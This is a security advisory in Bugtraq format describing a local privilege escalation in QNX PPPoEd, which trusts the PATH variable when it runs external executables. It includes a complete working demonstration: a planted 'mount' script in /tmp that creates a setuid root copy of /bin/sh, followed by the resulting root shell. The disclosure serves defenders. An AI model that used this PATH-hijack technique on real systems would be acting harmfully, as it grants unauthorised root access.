QNX PPPoEd Path Environment Variable Local Command Execution Vulnerability

Bugtraq ID:	11105
Class:	Design Error
CVE:
Remote:	No
Local:	Yes
Published:	Sep 03 2004 12:00AM
Updated:	Sep 03 2004 12:00AM
Credit:	Discovery of this vulnerability is credited to Julio Cesar Fort <[email protected]>.
Vulnerable:	QNX RTOS 6.2 Update Patch A QNX RTOS 6.2 QNX RTOS 6.1 QNX RTOS 2.4 QNX RTOS 4.25
Not Vulnerable:

QNX PPPoEd Path Environment Variable Local Command Execution Vulnerability

QNX PPoEd is reported prone to a problem that exists in the handling of paths to external executables that are employed by PPPoEd. Because of this, an attacker may be able to gain elevated privileges on a host with a vulnerable version of PPPoEd installed.

QNX PPPoEd Path Environment Variable Local Command Execution Vulnerability

There is no exploit required, the following demonstration is available:

$ cd /tmp
$ cat << _EOF_ > mount
#!/bin/sh
cp /bin/sh /tmp/rootshell
chown root /tmp/rootshell
chmod 4777 /tmp/rootshell
echo "Here comes your root shell"
_EOF_

$ chmod 755 mount
$ export PATH=/tmp:$PATH
$ /usr/sbin/pppoed
$ ls -la /tmp
-rwxr-xr-x 1 sandimas users 88 Aug 25 2004 mount
-rwsrwxrwx 1 root 100 153384 Jun 22 2001 /tmp/rootshell
$ /tmp/rootshell
Here comes your root shell
# uname -a
QNX sandimas 6.1.0 2001/06/25-15:31:48 edt x86pc x86
#

QNX PPPoEd Path Environment Variable Local Command Execution Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

QNX PPPoEd Path Environment Variable Local Command Execution Vulnerability

References:

• QNX Homepage (QNX Software Systems Ltd.)